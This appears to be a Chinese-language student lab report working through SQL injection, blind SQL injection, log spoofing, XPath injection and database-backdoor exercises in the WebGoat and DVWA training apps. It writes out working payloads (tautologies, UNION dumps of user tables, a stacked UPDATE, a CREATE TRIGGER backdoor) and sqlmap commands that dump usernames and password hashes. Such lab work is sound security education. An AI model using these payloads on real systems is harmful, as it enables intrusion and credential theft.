实验目的
- 安装和配置
WebGoat与WebScarab; - 使用
WebGoat,根据提示信息,完成包括Injection Flaw大类下的String SQL注入,Numeric SQL注入,Log Spoofing,XPATH Injection等安全弱点的攻击测试。
安装和配置WebGoat与WebScarab
用于测试的主机已经配置完成
JAVA环境,在使用WebScarab时只需要在webscarab-selfcontained-20070504-1631.jar文件所在的目录调出命令行,输入1
java -jar webscarab-selfcontained-20070504-1631.jar

使用
Vmware安装一个ubuntu虚拟机,镜像选择GameOver.0.1.null.iso,该镜像已经配置好WebGoat环境
安装完成后,输入命令行:
ifconfig,查看IP地址为192.168.88.149
访问URL:
http://192.168.88.149:8080/WebGoat/attack,输入用户名guest和密码guest,显示如下页面说明安装成功,点击start WebGoat,然后点击injection flaws进行攻击测试


String SQL注入
在左侧菜单中找到
string SQL injection并单击,在输入框中输入字符串Levi,显示没有结果匹配,同时显示出查找语句1
SELECT * FROM user_data WHERE last_name = 'Levi'
根据该查找语句,输入
‘ or 1=1 --,构造语句1
SELECT * FROM user_data WHERE last_name = '' or 1=1 -- '
--是数据库语言中的注释字符,它的作用是将最后一个单引号变为无效字符,查询语言等同于:1
SELECT * FROM user_data
结果显示user_data中所有的数据

Numeric SQL注入
在左侧菜单中找到
string SQL injection并单击,页面中有一个下拉框,点击GO!按钮可以得到查询结果如图所示,同时显示出查找语句:1
SELECT * FROM weather_data WHERE station = 101


因为页面中的输入项变成了下拉框,所以没法直接构造查询字符串, 之前的
String SQL注入在这里无法完成,需要借助WebScarab代理工具来完成SQL注入攻击,使用之前配置的JAVA环境,在webscarab-selfcontained-20070504-1631.jar所在的目录打开命令行,并输入1
java -jar webscarab-selfcontained-20070504-1631.jar
打开
WebScarab,在Intercept标签中选定Intercept Request,并在Methods中选定POST方法

将使用的火狐浏览器设置为手动代理,地址为
127.0.0.1,端口为8008
在网页上继续点击
GO!,这时WebScarab会弹出Edit Request窗口,代理设置生效,浏览器的请求经过代理转发。URLEncoded栏中可以看到Request中传递的参数,其中station就是下拉选框的参数,可以看到其值为101
将该参数修改为
101 or 1=1,构造语句1
SELECT * FROM weather_data WHERE station = 101 or 1=1
查询语言等同于:
1
SELECT * FROM weather_data

点击
Accept changes按钮提交Request请求,数据库中所有数据内容都显示在页面上
Blind SQL注入
在左侧菜单中找到
Blind SQL injection并单击,跳转到Blind SQL injection页面,根据提示需要盲注以找到正确的first_name(由大小写字母构成),更改输入框内容,发现只有101是合法的
将使用的火狐浏览器设置为同上的手动代理,启动
WebScarab,在网页上点击GO!,这时WebScarab会弹出Edit Request窗口,代理设置生效,浏览器的请求经过代理转发
使用盲注工具
JHijack进行盲注,设置HijackData为Numeric,范围为65-122(大小写字母ASCII码范围),Host设置为该网站的IP地址192.168.88.149,Port设置为8080,URL设置为/WebGoat/attack?Screen=163&menu=1200,方法改为POST,Grep设置为Account number is valid,SESS ID设置为上图中的Cookie内容JSESSIONID=A734E5274D7A7D5D84E2D529D5D31464,Hijack Type设置为BODY,Hijack ID设置为account_number=101 AND (SELECT ASCII(SUBSTR(first_name,1,1)) FROM user_data WHERE userid = 15613 ) =$ --,点击Hijack按钮,进行第一个字符的盲注,结果得到第一个字符的ASCII码为74
将
Hijack ID里面的(first_name,1,1)更改为(first_name,2,1),点击Hijack,获取第二个字符的ASCII码为111,以此类推,直至到七个字符时,并未获得结果,说明,first_name由六个字符构成,将ASCII码转换成字母为:**Joesph**
将正确的
first_name:Joseph输入到输入框点击GO!,注入成功
Log Spoofing(日志欺骗)
在左侧菜单中找到
Log Spoofing并单击,页面中出现两个输入框,在username输入框输入1‘ or 1=1 --,点击login,查询失败,同时显示:Login failed for username: 1' or 1=1 --,很明显,显示的内容是Web服务器的日志中的记录的内容
在输入框中输入
1 Login Succeeded for username :admin,会显示Login failed for username: 1 Login Succeeded for username : admin
利用换行符
%0A将输入内容在Login前面分成两行,即在输入框输入:1%0d%0aLogin Succeeded for username:admin,尝试欺骗管理员,点击Login后在日志中显示成功使用户名admin登录,登录日志为Login failed for username: 1Login Succeeded for username:admin(注意:在换行的时候要使用换行符
%0A,如果使用回车符%0D则只能显示登录日志,不显示攻击成功)
XPATH注入
在左侧菜单中找到
XPATH Injection并单击,页面中出现两个输入框,根据提示在username输入框输入Levi,在username输入框输入test123,点击submit,网页显示Mike的相关信息
在用户名处输入
' or 1=1 or 'a' = 'a,密码任意输入,这样服务器解析后的结果为expression = "/employees/employee[ (loginID/text() = ' or 1=1 ) OR ( 'a' = 'a' and passwd/text () = 'password' )]",结果显示所有人的信息
LAB:SQL Injection
在左侧菜单中找到
string SQL injection中的Stage 1: String SQL Injection并单击,根据网页提示,需要以boss的用户名Neville进行绕过密码登录
尝试在密码输入栏输入:
‘ or 1=1 --,点击Login后显示登录失败
查看网页源码,发现输入的密码被限制最大长度为
8个字符
将网页源码中最大长度修改为
20,然后在输入:‘or 1=1 --,点击Login后,成功绕过密码,显示登录成功
在左侧菜单中找到
string SQL injection中的Stage 3: Numeric SQL Injection并单击,根据网页提示,需要以employee账户的用户名Larry进行登录,绕过权限限制,浏览boss的账户信息
在密码输入栏输入:
Larry,成功登录
将使用的火狐浏览器设置为手动代理,地址为
127.0.0.1,端口为8008。点击ViewProfile,这时WebScarab会弹出Edit Request窗口,代理设置生效,浏览器的请求经过代理转发。在URLEncoded栏中添加一条参数employee_id,内容是:101 or 1=1 order by salary desc,点击Accept changes提交更改,绕过权限限制,employee账户Larry成功浏览boss的账户信息
Database Backdoors
在左侧菜单中找到
Database Backdoors并单击。根据提示,User ID为101。这个页面可以看到自己的password,ssn和salary。我们需要使用一个易受攻击的字段来创建两条SQL语句并尝试注入另一个更新,将工资更新到更高的级别
在输入框中输入
101 OR 1=1,尝试注入,结果显示所有User ID的信息,注入成功
选择
User ID为105,将他的Salary由50000更改为900000,输入的内容为:103;UPDATE employee SET salary=900000 WHERE userid=105,点击Submit,显示注入成功
接下来是创建一个后门,根据提示,输入:
105; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email = 'john@hackme.com' WHERE userid = 105,点击Submit,显示注入成功
思考题
针对DVWA演练平台,在SQL Injection攻击实验中,且要求在低级和中级安全级别中,获取用户信息表中全部的用户名及口令信息,并尝试将数据库所有库表数据全部拖出。
在浏览器中输入http://192.168.88.149 /dvwa进入DVWA平台,输入用户名admin,密码password,成功登录平台


手工注入
安全级别低级
进行安全级别设置

选择
SQL Injection,输入ID为1,得到结果如下
尝试输入
‘ or 1=1--,得到报错信息,说明表单存在注入漏洞且不是数字型注入
尝试字符型注入,输入
1’ or ‘1’=’1,成功遍历数据库中的内容
测试查询信息列数,输入
1’ order by x --

当测试到
3时,出现报错信息,说明查询结果值为2列
输入
1' union select 1,2 --,确定字段的顺序为First name,Surname
输入
1’ union select 1,database() --,得知数据库名为dvwa
输入
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'--,得知数据库两个表名为guestbook和users
选择其中的
users表,输入``1’union select 1,column_name from information_schema.columns where table_name=’users’–,查询user`表的字段名
只需要得到用户名和密码,因此输入``1’ union select user,password from users–` ,结果如下

其中密码是
md5加密,可以使用解码网站解密,如5f4dcc3b5aa765d61d8327deb882cf99解密后为password
安全级别中级
进行安全级别设置

尝试输入
1’ or ‘1’=’1,发现报错信息,可以发现安全级别为中级时,对字符进行转义处理
尝试数字型注入,输入
1 or 1=1,成功查询到所有的数据
与低级类似,输入
1 union select 1,database() --,得知数据库名为dvwa
同样,输入
1 union select user,password from users--,得到用户名和密码,其中密码是md5加密,可以使用解码网站解密
SQLMAP工具注入
安全级别低级
进行安全级别设置

输入
id为1,使用URL在SQLMAP中尝试:1
python sqlmap.py -u http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
发现跳转到登陆界面,需要加上
cookie
在浏览器中查看
cookie并记录
在
SQLMAP目标URL带上cookie重新尝试:1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87 057104"
注入成功


在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" --dbs
列举数据库名称有:
dvwa、information_schema、mysql、owasp10、wackopicko

在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa –tables
选择其中的
dvwa库查看表信息,发现有两个表,分别是:guestbook和users

在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa -T users --columns
选择
users表,查看表中的列

在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa -T users -C user,password --dump
选择其中的
user,password进行查看,可得到全部用户名和密码,其中密码为md5加密,可以通过解码网站破解
安全级别中级
进行安全级别设置

在SQLMAP目标url带上cookie重新尝试:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87 057104"
注入成功


在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" --dbs
列举数据库名称有:
dvwa、information_schema、mysql、owasp10、wackopicko

在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/ vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa --tables
选择其中的
dvwa库查看表信息,发现有两个表,分别是:guestbook和users

在命令行中输入:
1
python sqlmap.py -u"http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa -T users --columns
选择
users表,查看表中的列

在命令行中输入:
1
python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa -T users -C user,password --dump
选择其中的
user,password进行查看,可得到全部用户名和密码,其中密码为md5加密,可以通过解码网站破解